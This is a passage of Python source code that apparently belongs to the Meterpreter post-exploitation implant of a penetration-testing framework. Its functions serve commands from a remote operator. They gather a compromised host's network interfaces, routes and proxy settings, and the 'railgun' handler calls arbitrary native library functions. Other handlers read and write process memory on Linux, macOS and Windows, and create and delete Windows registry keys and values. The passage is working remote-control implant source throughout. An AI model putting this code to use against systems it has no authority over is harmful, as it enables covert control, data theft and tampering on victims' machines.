AdapterAddresses = ctstruct_unpack(IP_ADAPTER_ADDRESSES, AdapterAddresses)
|
|
if AdapterAddresses.u.s.Length <= 72:
|
|
raise RuntimeError('invalid AdapterAddresses length')
|
|
win_version = windll_GetVersion()
|
|
interfaces = []
|
|
pAdapterAddresses = ctypes.byref(AdapterAddresses)
|
|
while pAdapterAddresses:
|
|
AdapterAddresses = ctstruct_unpack(IP_ADAPTER_ADDRESSES, pAdapterAddresses)
|
|
pAdapterAddresses = AdapterAddresses.Next
|
|
pFirstPrefix = AdapterAddresses.FirstPrefix
|
|
iface_info = {}
|
|
iface_info['index'] = AdapterAddresses.u.s.IfIndex
|
|
if AdapterAddresses.PhysicalAddressLength:
|
|
iface_info['hw_addr'] = ctypes.string_at(ctypes.byref(AdapterAddresses.PhysicalAddress), AdapterAddresses.PhysicalAddressLength)
|
|
iface_desc = ctypes.wstring_at(AdapterAddresses.Description)
|
|
if not is_str(iface_desc):
|
|
iface_desc = str(iface_desc)
|
|
iface_info['name'] = iface_desc
|
|
iface_info['mtu'] = AdapterAddresses.Mtu
|
|
pUniAddr = AdapterAddresses.FirstUnicastAddress
|
|
while pUniAddr:
|
|
UniAddr = ctstruct_unpack(IP_ADAPTER_UNICAST_ADDRESS, pUniAddr)
|
|
pUniAddr = UniAddr.Next
|
|
address = ctstruct_unpack(SOCKADDR, UniAddr.Address.lpSockaddr)
|
|
if not address.sa_family in (socket.AF_INET, socket.AF_INET6):
|
|
continue
|
|
prefix = 0
|
|
if win_version.dwMajorVersion >= 6:
|
|
prefix = UniAddr.OnLinkPrefixLength
|
|
elif pFirstPrefix:
|
|
ip_adapter_prefix = 'QPPIL'
|
|
prefix_data = ctypes.string_at(pFirstPrefix, struct.calcsize(ip_adapter_prefix))
|
|
prefix = struct.unpack(ip_adapter_prefix, prefix_data)[4]
|
|
iface_addresses = iface_info.get('addrs', [])
|
|
if address.sa_family == socket.AF_INET:
|
|
iface_addresses.append((socket.AF_INET, ctypes.string_at(ctypes.byref(address.sa_data), 6)[2:], prefix))
|
|
else:
|
|
iface_addresses.append((socket.AF_INET6, ctypes.string_at(ctypes.byref(address.sa_data), 22)[6:], prefix))
|
|
iface_info['addrs'] = iface_addresses
|
|
interfaces.append(iface_info)
|
|
return interfaces
|
|
|
|
@register_function
|
|
def stdapi_net_config_get_routes(request, response):
|
|
if hasattr(socket, 'AF_NETLINK') and hasattr(socket, 'NETLINK_ROUTE'):
|
|
routes = stdapi_net_config_get_routes_via_netlink()
|
|
elif sys.platform == 'darwin':
|
|
routes = stdapi_net_config_get_routes_via_osx_netstat()
|
|
elif has_windll:
|
|
routes = stdapi_net_config_get_routes_via_windll()
|
|
else:
|
|
return ERROR_FAILURE, response
|
|
for route_info in routes:
|
|
route_tlv = bytes()
|
|
route_tlv += tlv_pack(TLV_TYPE_SUBNET, route_info['subnet'])
|
|
route_tlv += tlv_pack(TLV_TYPE_NETMASK, route_info['netmask'])
|
|
route_tlv += tlv_pack(TLV_TYPE_GATEWAY, route_info['gateway'])
|
|
route_tlv += tlv_pack(TLV_TYPE_STRING, route_info['iface'])
|
|
route_tlv += tlv_pack(TLV_TYPE_ROUTE_METRIC, route_info.get('metric', 0))
|
|
response += tlv_pack(TLV_TYPE_NETWORK_ROUTE, route_tlv)
|
|
return ERROR_SUCCESS, response
|
|
|
|
def stdapi_net_config_get_routes_via_netlink():
|
|
rta_align = lambda l: l+3 & ~3
|
|
responses = netlink_request(RTM_GETROUTE, RTMSG(family=socket.AF_UNSPEC))
|
|
routes = []
|
|
for res_data in responses:
|
|
rtmsg = ctstruct_unpack(RTMSG, res_data)
|
|
cursor = rta_align(ctypes.sizeof(RTMSG))
|
|
route = {'table': rtmsg.table}
|
|
if rtmsg.family == socket.AF_INET:
|
|
route['gateway'] = route['subnet'] = inet_pton(socket.AF_INET, '0.0.0.0')
|
|
route['netmask'] = calculate_32bit_netmask(rtmsg.dst_len)
|
|
elif rtmsg.family == socket.AF_INET6:
|
|
route['gateway'] = route['subnet'] = inet_pton(socket.AF_INET6, '::')
|
|
route['netmask'] = calculate_128bit_netmask(rtmsg.dst_len)
|
|
else:
|
|
continue
|
|
while cursor < len(res_data):
|
|
attribute = ctstruct_unpack(RTATTR, res_data[cursor:])
|
|
at_len = attribute.len
|
|
attr_data = res_data[cursor + ctypes.sizeof(RTATTR):(cursor + at_len)]
|
|
cursor += rta_align(at_len)
|
|
if attribute.type == RTA_DST:
|
|
route['subnet'] = attr_data
|
|
if attribute.type == RTA_GATEWAY:
|
|
route['gateway'] = attr_data
|
|
elif attribute.type == RTA_TABLE:
|
|
route['table'] = struct.unpack('<I', attr_data)[0]
|
|
elif attribute.type == RTA_OIF:
|
|
route['iface'] = _linux_if_indextoname(struct.unpack('<I', attr_data)[0])
|
|
elif attribute.type == RTA_PRIORITY:
|
|
route['metric'] = struct.unpack('<I', attr_data)[0]
|
|
if route['table'] != RT_TABLE_MAIN:
|
|
continue
|
|
routes.append(route)
|
|
return routes
|
|
|
|
def stdapi_net_config_get_routes_via_osx_netstat():
|
|
proc_h = subprocess.Popen(['/usr/sbin/netstat', '-rn'], stdout=subprocess.PIPE, stderr=subprocess.PIPE)
|
|
if proc_h.wait():
|
|
raise Exception('netstat exited with non-zero status')
|
|
output = proc_h.stdout.read()
|
|
|
|
routes = []
|
|
state = None
|
|
has_refs = None
|
|
for line in output.split('\n'):
|
|
line = line.strip()
|
|
if state is None:
|
|
if line == 'Internet:':
|
|
state = socket.AF_INET
|
|
elif line == 'Internet6:':
|
|
state = socket.AF_INET6
|
|
continue
|
|
words = line.split()
|
|
if len(words) < 4:
|
|
state = None
|
|
has_refs = None
|
|
continue
|
|
if words[0].lower() == 'destination':
|
|
if len(words) > 5 and words[3].lower() == 'refs':
|
|
has_refs = True
|
|
continue
|
|
destination, gateway, flags, iface = words[:4]
|
|
if has_refs:
|
|
iface = words[5]
|
|
if state == socket.AF_INET:
|
|
all_nets = '0.0.0.0/0'
|
|
bits = 32
|
|
calc_netmask = calculate_32bit_netmask
|
|
elif state == socket.AF_INET6:
|
|
all_nets = '::/0'
|
|
bits = 128
|
|
calc_netmask = calculate_128bit_netmask
|
|
else:
|
|
continue
|
|
if destination == 'default':
|
|
destination = all_nets
|
|
if re.match('link#\d+', gateway) or re.match('([0-9a-f]{1,2}:){5}[0-9a-f]{1,2}', gateway):
|
|
gateway = all_nets[:-2]
|
|
if '/' in destination:
|
|
destination, netmask_bits = destination.rsplit('/', 1)
|
|
netmask_bits = int(netmask_bits)
|
|
else:
|
|
netmask_bits = bits
|
|
if '%' in destination:
|
|
destination, _ = destination.rsplit('%', 1)
|
|
if '%' in gateway:
|
|
gateway, _ = gateway.rsplit('%', 1)
|
|
if state == socket.AF_INET:
|
|
while destination.count('.') < 3:
|
|
destination += '.0'
|
|
routes.append({
|
|
'subnet': inet_pton(state, destination),
|
|
'netmask': calc_netmask(netmask_bits),
|
|
'gateway': inet_pton(state, gateway),
|
|
'metric': 0,
|
|
'iface': iface
|
|
})
|
|
return routes
|
|
|
|
def stdapi_net_config_get_routes_via_windll():
|
|
iphlpapi = ctypes.windll.iphlpapi
|
|
if not hasattr(iphlpapi, 'GetIpForwardTable2'): # added in Vista / 2008
|
|
return stdapi_net_config_get_routes_via_windll2()
|
|
routes = []
|
|
iface_names = {}
|
|
for iface in stdapi_net_config_get_interfaces_via_windll():
|
|
iface_names[iface['index']] = iface['name']
|
|
for family in [WIN_AF_INET, WIN_AF_INET6]:
|
|
table = PMIB_IPFORWARD_TABLE2()
|
|
if iphlpapi.GetIpForwardTable2(family, ctypes.byref(table)):
|
|
continue
|
|
table = table.contents
|
|
rows = ctypes.cast(table.Table, PMIB_IPFORWARD_ROW2)
|
|
for index in range(table.NumEntries):
|
|
row = rows[index]
|
|
route = {}
|
|
if family == WIN_AF_INET:
|
|
route['subnet'] = ctarray_to_bytes(row.DestinationPrefix.Prefix.Ipv4.sin_addr)
|
|
route['netmask'] = calculate_32bit_netmask(row.DestinationPrefix.PrefixLength)
|
|
route['gateway'] = ctarray_to_bytes(row.NextHop.Ipv4.sin_addr)
|
|
elif family == WIN_AF_INET6:
|
|
route['subnet'] = ctarray_to_bytes(row.DestinationPrefix.Prefix.Ipv6.sin6_addr)
|
|
route['netmask'] = calculate_128bit_netmask(row.DestinationPrefix.PrefixLength)
|
|
route['gateway'] = ctarray_to_bytes(row.NextHop.Ipv6.sin6_addr)
|
|
iface = MIB_IPINTERFACE_ROW(Family=family, InterfaceIndex=row.InterfaceIndex)
|
|
if iphlpapi.GetIpInterfaceEntry(ctypes.byref(iface)):
|
|
continue
|
|
route['metric'] = row.Metric + iface.Metric
|
|
route['iface'] = iface_names.get(row.InterfaceIndex, str(row.InterfaceIndex))
|
|
routes.append(route)
|
|
return routes
|
|
|
|
def stdapi_net_config_get_routes_via_windll2():
|
|
iphlpapi = ctypes.windll.iphlpapi
|
|
routes = []
|
|
iface_names = {}
|
|
for iface in stdapi_net_config_get_interfaces_via_windll():
|
|
iface_names[iface['index']] = iface['name']
|
|
size = ctypes.c_uint32(0)
|
|
table = MIB_IPFORWARDTABLE()
|
|
iphlpapi.GetIpForwardTable(ctypes.byref(table), ctypes.byref(size), False)
|
|
if size.value:
|
|
buffer = (ctypes.c_uint8 * size.value)()
|
|
table = ctypes.cast(buffer, PMIB_IPFORWARDTABLE).contents
|
|
iphlpapi.GetIpForwardTable(ctypes.byref(table), ctypes.byref(size), False)
|
|
rows = ctypes.cast(table.table, PMIB_IPFORWARDROW)
|
|
for index in range(table.dwNumEntries):
|
|
row = rows[index]
|
|
routes.append({
|
|
'subnet': struct.pack('<I', row.dwForwardDest),
|
|
'netmask': struct.pack('<I', row.dwForwardMask),
|
|
'gateway': struct.pack('<I', row.dwForwardNextHop),
|
|
'metric': row.dwForwardMetric1,
|
|
'iface': iface_names.get(row.dwForwardIfIndex, str(row.dwForwardIfIndex))
|
|
})
|
|
return routes
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_net_config_get_proxy(request, response):
|
|
winhttp = ctypes.windll.winhttp
|
|
proxy_config = WINHTTP_CURRENT_USER_IE_PROXY_CONFIG()
|
|
if not winhttp.WinHttpGetIEproxy_configForCurrentUser(ctypes.byref(proxy_config)):
|
|
return error_result_windows(), response
|
|
response += tlv_pack(TLV_TYPE_PROXY_CFG_AUTODETECT, proxy_config.fAutoDetect)
|
|
if proxy_config.lpszAutoConfigUrl:
|
|
response += tlv_pack(TLV_TYPE_PROXY_CFG_AUTOCONFIGURL, proxy_config.lpszAutoConfigUrl)
|
|
if proxy_config.lpszProxy:
|
|
response += tlv_pack(TLV_TYPE_PROXY_CFG_PROXY, proxy_config.lpszProxy)
|
|
if proxy_config.lpszProxyBypass:
|
|
response += tlv_pack(TLV_TYPE_PROXY_CFG_PROXYBYPASS, proxy_config.lpszProxyBypass)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_net_resolve_host(request, response):
|
|
hostname = packet_get_tlv(request, TLV_TYPE_HOST_NAME)['value']
|
|
family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value']
|
|
if family == WIN_AF_INET:
|
|
family = socket.AF_INET
|
|
elif family == WIN_AF_INET6:
|
|
family = socket.AF_INET6
|
|
else:
|
|
raise Exception('invalid family')
|
|
result = resolve_host(hostname, family)
|
|
response += tlv_pack(TLV_TYPE_IP, result['packed_address'])
|
|
response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family'])
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_net_resolve_hosts(request, response):
|
|
family = packet_get_tlv(request, TLV_TYPE_ADDR_TYPE)['value']
|
|
if family == WIN_AF_INET:
|
|
family = socket.AF_INET
|
|
elif family == WIN_AF_INET6:
|
|
family = socket.AF_INET6
|
|
else:
|
|
raise Exception('invalid family')
|
|
for hostname in packet_enum_tlvs(request, TLV_TYPE_HOST_NAME):
|
|
hostname = hostname['value']
|
|
try:
|
|
result = resolve_host(hostname, family)
|
|
except socket.error:
|
|
result = {'family':family, 'packed_address':''}
|
|
response += tlv_pack(TLV_TYPE_IP, result['packed_address'])
|
|
response += tlv_pack(TLV_TYPE_ADDR_TYPE, result['family'])
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function
|
|
def stdapi_net_socket_tcp_shutdown(request, response):
|
|
channel_id = packet_get_tlv(request, TLV_TYPE_CHANNEL_ID)['value']
|
|
how = packet_get_tlv(request, TLV_TYPE_SHUTDOWN_HOW).get('value', socket.SHUT_RDWR)
|
|
channel = meterpreter.channels[channel_id]
|
|
channel.sock.shutdown(how)
|
|
return ERROR_SUCCESS, response
|
|
|
|
def _linux_get_maps():
|
|
maps = []
|
|
lines = open('/proc/' + str(os.getpid()) + '/maps', 'r')
|
|
for line in lines:
|
|
region = dict(zip(
|
|
('address', 'perms', 'offset', 'dev', 'inode', 'pathname'),
|
|
line.split(' ', 5)
|
|
))
|
|
region['address-start'], region['address-end'] = region.pop('address').split('-')
|
|
region['address-start'] = int(region['address-start'], 16)
|
|
region['address-end'] = int(region['address-end'], 16)
|
|
region['inode'] = int(region['inode'])
|
|
region['offset'] = int(region['offset'], 16)
|
|
region['pathname'] = region['pathname'].strip()
|
|
region['size'] = region['address-end'] - region['address-start']
|
|
maps.append(region)
|
|
return maps
|
|
|
|
def _linux_check_maps(address, size, perms=''):
|
|
perms = perms.lower()
|
|
maps = _linux_get_maps()
|
|
|
|
cursor = address
|
|
address += size
|
|
while cursor < address:
|
|
for region in maps:
|
|
if region['address-start'] <= cursor < region['address-end']:
|
|
break
|
|
else:
|
|
return False
|
|
for perm in perms:
|
|
if perm == '-':
|
|
continue
|
|
if not perm in region['perms']:
|
|
return False
|
|
if cursor + size < region['address-end']:
|
|
break
|
|
size -= region['address-end'] - cursor
|
|
cursor = region['address-end']
|
|
return True
|
|
|
|
def _linux_if_indextoname(index):
|
|
name = (ctypes.c_char * 256)()
|
|
if libc.if_indextoname(index, name):
|
|
return name.value.decode('ascii')
|
|
|
|
def _linux_memread(address, size):
|
|
if not hasattr(libc, 'process_vm_readv'):
|
|
# requires linux 3.2+ / glibc 2.15+, see:
|
|
# http://man7.org/linux/man-pages/man2/process_vm_readv.2.html#VERSIONS
|
|
raise RuntimeError('process_vm_readv is unavailable')
|
|
if not _linux_check_maps(address, size, perms='r'):
|
|
raise RuntimeError('invalid permissions')
|
|
buff = (ctypes.c_byte * size)()
|
|
local_iov = IOVEC(iov_base=ctypes.cast(buff, ctypes.c_void_p), iov_len=size)
|
|
remote_iov = IOVEC(iov_base=address, iov_len=size)
|
|
result = libc.process_vm_readv(
|
|
os.getpid(),
|
|
ctypes.byref(local_iov),
|
|
1,
|
|
ctypes.byref(remote_iov),
|
|
1,
|
|
0
|
|
)
|
|
if result == -1:
|
|
raise RuntimeError('operation failed')
|
|
return ctarray_to_bytes(buff)
|
|
|
|
def _linux_memwrite(address, data):
|
|
if not hasattr(libc, 'process_vm_writev'):
|
|
# requires linux 3.2+ / glibc 2.15+, see:
|
|
# http://man7.org/linux/man-pages/man2/process_vm_writev.2.html#VERSIONS
|
|
raise RuntimeError('process_vm_writev is unavailable')
|
|
size = len(data)
|
|
if not _linux_check_maps(address, size, perms='w'):
|
|
raise RuntimeError('invalid permissions')
|
|
buff = bytes_to_ctarray(data)
|
|
local_iov = IOVEC(iov_base=ctypes.cast(buff, ctypes.c_void_p), iov_len=size)
|
|
remote_iov = IOVEC(iov_base=address, iov_len=size)
|
|
result = libc.process_vm_writev(
|
|
os.getpid(),
|
|
ctypes.byref(local_iov),
|
|
1,
|
|
ctypes.byref(remote_iov),
|
|
1,
|
|
0
|
|
)
|
|
if result == -1:
|
|
raise RuntimeError('operation failed')
|
|
return size
|
|
|
|
def _osx_memread(address, size):
|
|
task = libc.mach_task_self()
|
|
libc.mach_vm_read.argtypes = [ctypes.c_uint32, size_t, size_t, ctypes.POINTER(ctypes.c_void_p), ctypes.POINTER(ctypes.c_uint32)]
|
|
libc.mach_vm_read.restype = ctypes.c_uint32
|
|
pointer = ctypes.c_void_p()
|
|
out_size = ctypes.c_uint32()
|
|
result = libc.mach_vm_read(task, address, size, ctypes.byref(pointer), ctypes.byref(out_size))
|
|
if result == 1: # KERN_INVALID_ADDRESS
|
|
raise RuntimeError('invalid address')
|
|
elif result == 2: # KERN_PROTECTION_FAILURE
|
|
raise RuntimeError('invalid permissions')
|
|
if result != 0 or size != out_size.value:
|
|
raise RuntimeError('operation failed')
|
|
buff = ctypes.cast(pointer, ctypes.POINTER(ctypes.c_byte * out_size.value))
|
|
return ctarray_to_bytes(buff.contents)
|
|
|
|
def _osx_memwrite(address, data):
|
|
task = libc.mach_task_self()
|
|
libc.mach_vm_write.argtypes = [ctypes.c_uint32, size_t, ctypes.c_void_p, ctypes.c_uint32]
|
|
libc.mach_vm_write.restype = ctypes.c_uint32
|
|
buff = bytes_to_ctarray(data)
|
|
if libc.mach_vm_write(task, address, buff, len(buff)) != 0:
|
|
raise RuntimeError('operation failed')
|
|
return len(buff)
|
|
|
|
def _win_format_message(source, msg_id):
|
|
EN_US = 0
|
|
msg_flags = 0
|
|
msg_flags |= 0x00000100 # FORMAT_MESSAGE_ALLOCATE_BUFFER
|
|
msg_flags |= 0x00000200 # FORMAT_MESSAGE_IGNORE_INSERTS
|
|
msg_flags |= 0x00000800 # FORMAT_MESSAGE_FROM_HMODULE
|
|
msg_flags |= 0x00001000 # FORMAT_MESSAGE_FROM_SYSTEM
|
|
FormatMessage = ctypes.windll.kernel32.FormatMessageA
|
|
FormatMessage.argtypes = [ctypes.c_uint32, ctypes.c_void_p, ctypes.c_uint32, ctypes.c_uint32, ctypes.c_void_p, ctypes.c_uint32, ctypes.c_void_p]
|
|
FormatMessage.restype = ctypes.c_uint32
|
|
LocalFree = ctypes.windll.kernel32.LocalFree
|
|
LocalFree.argtypes = [ctypes.c_void_p]
|
|
|
|
buff = ctypes.c_char_p()
|
|
if not FormatMessage(msg_flags, source, msg_id, EN_US, ctypes.byref(buff), 0, None):
|
|
return None
|
|
message = buff.value.decode('utf-8').rstrip()
|
|
LocalFree(buff)
|
|
return message
|
|
|
|
def _win_memread(address, size, handle=-1):
|
|
ReadProcessMemory = ctypes.windll.kernel32.ReadProcessMemory
|
|
ReadProcessMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, size_t, ctypes.POINTER(size_t)]
|
|
buff = (ctypes.c_byte * size)()
|
|
read = size_t()
|
|
result = ReadProcessMemory(handle, address, ctypes.byref(buff), size, ctypes.byref(read))
|
|
if not result:
|
|
return None
|
|
return ctarray_to_bytes(buff)
|
|
|
|
def _win_memwrite(address, data, handle=-1):
|
|
WriteProcessMemory = ctypes.windll.kernel32.WriteProcessMemory
|
|
WriteProcessMemory.argtypes = [ctypes.c_void_p, ctypes.c_void_p, ctypes.c_void_p, size_t, ctypes.POINTER(size_t)]
|
|
size = len(data)
|
|
buff = bytes_to_ctarray(data)
|
|
written = size_t()
|
|
result = WriteProcessMemory(handle, address, ctypes.byref(buff), size, ctypes.byref(written))
|
|
if not result:
|
|
return None
|
|
return written.value
|
|
|
|
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
|
|
def stdapi_railgun_api(request, response):
|
|
size_out = packet_get_tlv(request, TLV_TYPE_RAILGUN_SIZE_OUT)['value']
|
|
stack_blob = packet_get_tlv(request, TLV_TYPE_RAILGUN_STACKBLOB)['value']
|
|
buff_blob_in = packet_get_tlv(request, TLV_TYPE_RAILGUN_BUFFERBLOB_IN)['value']
|
|
buff_blob_inout = packet_get_tlv(request, TLV_TYPE_RAILGUN_BUFFERBLOB_INOUT)['value']
|
|
lib_name = packet_get_tlv(request, TLV_TYPE_RAILGUN_DLLNAME)['value']
|
|
func_name = packet_get_tlv(request, TLV_TYPE_RAILGUN_FUNCNAME)['value']
|
|
call_conv = packet_get_tlv(request, TLV_TYPE_RAILGUN_CALLCONV).get('value', ('stdcall' if has_windll else 'cdecl'))
|
|
|
|
buff_blob_in = bytes_to_ctarray(buff_blob_in)
|
|
buff_blob_out = (ctypes.c_byte * size_out)()
|
|
buff_blob_inout = bytes_to_ctarray(buff_blob_inout)
|
|
|
|
if ctypes.sizeof(ctypes.c_void_p) == 4:
|
|
native = ctypes.c_uint32
|
|
fmt = 'II'
|
|
elif ctypes.sizeof(ctypes.c_void_p) == 8:
|
|
native = ctypes.c_uint64
|
|
fmt = 'QQ'
|
|
else:
|
|
raise RuntimeError('unknown sizeof(void *)')
|
|
fmt_size = struct.calcsize(fmt)
|
|
|
|
if call_conv.lower() == 'cdecl':
|
|
func_type = ctypes.CFUNCTYPE
|
|
elif call_conv.lower() == 'stdcall' and hasattr(ctypes, 'WINFUNCTYPE'):
|
|
func_type = ctypes.WINFUNCTYPE
|
|
else:
|
|
raise ValueError('unknown calling convention')
|
|
|
|
call_args = []
|
|
func_args = []
|
|
for pos in range(0, len(stack_blob), fmt_size):
|
|
arg_type, arg = struct.unpack(fmt, stack_blob[pos:pos + fmt_size])
|
|
if arg_type == 0: # literal
|
|
call_args.append(arg)
|
|
func_args.append(native)
|
|
elif arg_type == 1: # relative to in
|
|
call_args.append(byref_at(buff_blob_in, arg))
|
|
func_args.append(ctypes.c_void_p)
|
|
elif arg_type == 2: # relative to out
|
|
call_args.append(byref_at(buff_blob_out, arg))
|
|
func_args.append(ctypes.c_void_p)
|
|
elif arg_type == 3: # relative to inout
|
|
call_args.append(byref_at(buff_blob_inout, arg))
|
|
func_args.append(ctypes.c_void_p)
|
|
else:
|
|
raise ValueError('unknown argument type: ' + str(arg_type))
|
|
|
|
debug_print('[*] railgun calling: ' + lib_name + '!' + func_name)
|
|
prototype = func_type(native, *func_args)
|
|
if sys.platform == 'darwin' or sys.platform.startswith('linux'):
|
|
p_errno = ctypes.cast(libc.errno, ctypes.POINTER(ctypes.c_int))
|
|
errno = p_errno.contents
|
|
last_error = ctypes.c_int(0)
|
|
p_errno.contents = last_error
|
|
func = prototype((func_name, ctypes.CDLL(ctypes.util.find_library(lib_name) or lib_name)))
|
|
result = func(*call_args)
|
|
p_errno.contents = errno
|
|
last_error = last_error.value
|
|
libc.strerror.argtypes = [ctypes.c_int]
|
|
libc.strerror.restype = ctypes.c_char_p
|
|
error_message = libc.strerror(last_error)
|
|
elif has_windll:
|
|
func = prototype((func_name, ctypes.WinDLL(lib_name)))
|
|
result = func(*call_args)
|
|
GetModuleHandle = ctypes.windll.kernel32.GetModuleHandleA
|
|
GetModuleHandle.argtypes = [ctypes.c_char_p]
|
|
GetModuleHandle.restype = ctypes.c_void_p
|
|
lib_handle = GetModuleHandle(bytes(lib_name, 'UTF-8'))
|
|
last_error = ctypes.windll.kernel32.GetLastError()
|
|
error_message = _win_format_message(lib_handle, last_error)
|
|
if error_message is None:
|
|
if last_error == ERROR_SUCCESS:
|
|
error_message = 'The operation completed successfully.'
|
|
else:
|
|
error_message = 'FormatMessage failed to retrieve the error.'
|
|
else:
|
|
raise RuntimeError('unknown platform')
|
|
|
|
response += tlv_pack(TLV_TYPE_RAILGUN_BACK_ERR, last_error)
|
|
response += tlv_pack(TLV_TYPE_RAILGUN_BACK_MSG, error_message)
|
|
response += tlv_pack(TLV_TYPE_RAILGUN_BACK_RET, result)
|
|
response += tlv_pack(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_OUT, ctarray_to_bytes(buff_blob_out))
|
|
response += tlv_pack(TLV_TYPE_RAILGUN_BACK_BUFFERBLOB_INOUT, ctarray_to_bytes(buff_blob_inout))
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
|
|
def stdapi_railgun_api_multi(request, response):
|
|
for group_tlv in packet_enum_tlvs(request, tlv_type=TLV_TYPE_RAILGUN_MULTI_GROUP):
|
|
group_result = stdapi_railgun_api(group_tlv['value'], bytes())[1]
|
|
response += tlv_pack(TLV_TYPE_RAILGUN_MULTI_GROUP, group_result)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
|
|
def stdapi_railgun_memread(request, response):
|
|
address = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_ADDRESS)['value']
|
|
length = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_LENGTH)['value']
|
|
debug_print('[*] railgun reading ' + str(length) + ' bytes from 0x' + hex(address))
|
|
if sys.platform.startswith('darwin'):
|
|
result = _osx_memread(address, length)
|
|
elif sys.platform.startswith('linux'):
|
|
result = _linux_memread(address, length)
|
|
elif has_windll:
|
|
result = _win_memread(address, length)
|
|
if result is None:
|
|
return error_result_windows(), response
|
|
else:
|
|
return ERROR_FAILURE, response
|
|
response += tlv_pack(TLV_TYPE_RAILGUN_MEM_DATA, result)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(sys.platform == 'darwin' or sys.platform.startswith('linux') or has_windll)
|
|
def stdapi_railgun_memwrite(request, response):
|
|
address = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_ADDRESS)['value']
|
|
data = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_DATA)['value']
|
|
length = packet_get_tlv(request, TLV_TYPE_RAILGUN_MEM_LENGTH)['value']
|
|
debug_print('[*] railgun writing ' + str(len(data)) + ' bytes to 0x' + hex(address))
|
|
if sys.platform.startswith('darwin'):
|
|
result = _osx_memwrite(address, data)
|
|
elif sys.platform.startswith('linux'):
|
|
result = _linux_memwrite(address, data)
|
|
elif has_windll:
|
|
result = _win_memwrite(address, data)
|
|
if result is None:
|
|
return error_result_windows(), response
|
|
else:
|
|
return ERROR_FAILURE, response
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_close_key(request, response):
|
|
_wreg_close_key(packet_get_tlv(request, TLV_TYPE_HKEY)['value'])
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_create_key(request, response):
|
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
|
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
|
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
|
permission = packet_get_tlv(request, TLV_TYPE_PERMISSION).get('value', winreg.KEY_ALL_ACCESS)
|
|
res_key = ctypes.c_void_p()
|
|
if ctypes.windll.advapi32.RegCreateKeyExA(root_key, ctypes.byref(base_key), 0, None, 0, permission, None, ctypes.byref(res_key), None) != ERROR_SUCCESS:
|
|
return error_result_windows(), response
|
|
response += tlv_pack(TLV_TYPE_HKEY, res_key.value)
|
|
return ERROR_SUCCESS, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_delete_key(request, response):
|
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
|
base_key = packet_get_tlv(request, TLV_TYPE_BASE_KEY)['value']
|
|
base_key = ctypes.create_string_buffer(bytes(base_key, 'UTF-8'))
|
|
flags = packet_get_tlv(request, TLV_TYPE_FLAGS)['value']
|
|
if (flags & DELETE_KEY_FLAG_RECURSIVE):
|
|
result = ctypes.windll.shlwapi.SHDeleteKeyA(root_key, ctypes.byref(base_key))
|
|
else:
|
|
result = ctypes.windll.advapi32.RegDeleteKeyA(root_key, ctypes.byref(base_key))
|
|
return result, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_delete_value(request, response):
|
|
root_key = packet_get_tlv(request, TLV_TYPE_ROOT_KEY)['value']
|
|
value_name = packet_get_tlv(request, TLV_TYPE_VALUE_NAME)['value']
|
|
value_name = ctypes.create_string_buffer(bytes(value_name, 'UTF-8'))
|
|
result = ctypes.windll.advapi32.RegDeleteValueA(root_key, ctypes.byref(value_name))
|
|
return result, response
|
|
|
|
def _wreg_enum_key(request, response, hkey):
|
|
ERROR_MORE_DATA = 0xea
|
|
ERROR_NO_MORE_ITEMS = 0x0103
|
|
name = (ctypes.c_char * 4096)()
|
|
index = 0
|
|
tries = 0
|
|
while True:
|
|
result = ctypes.windll.advapi32.RegEnumKeyA(hkey, index, name, ctypes.sizeof(name))
|
|
if result == ERROR_MORE_DATA:
|
|
if tries > 3:
|
|
break
|
|
name = (ctypes.c_char * (ctypes.sizeof(name) * 2))
|
|
tries += 1
|
|
continue
|
|
elif result == ERROR_NO_MORE_ITEMS:
|
|
result = ERROR_SUCCESS
|
|
break
|
|
elif result != ERROR_SUCCESS:
|
|
break
|
|
tries = 0
|
|
response += tlv_pack(TLV_TYPE_KEY_NAME, ctypes.string_at(name))
|
|
index += 1
|
|
return result, response
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_enum_key(request, response):
|
|
hkey = packet_get_tlv(request, TLV_TYPE_HKEY)['value']
|
|
return _wreg_enum_key(request, response, hkey)
|
|
|
|
@register_function_if(has_windll)
|
|
def stdapi_registry_enum_key_direct(request, response):
|
|
err, hkey = _wreg_open_key(request)
|
|
if err != ERROR_SUCCESS:
|
|
return err, response
|
|
ret = _wreg_enum_key(request, response, hkey)
|
|
_wreg_close_key(hkey)
|
|
return ret
|
|
|
|
def _wreg_enum_value(request, response, hkey):
|
|
ERROR_MORE_DATA = 0xea
|
|
ERROR_NO_MORE_ITEMS = 0x0103
|
|
name = (ctypes.c_char * 4096)()
|
|
name_sz = ctypes.c_uint32()
|
|
index = 0
|
|
tries = 0
|
|
while True:
|
|
name_sz.value = ctypes.sizeof(name)
|
|
result = ctypes.windll.advapi32.RegEnumValueA(hkey, index, name, ctypes.byref(name_sz), None, None, None, None)
|
|
if result == ERROR_MORE_DATA:
|
|
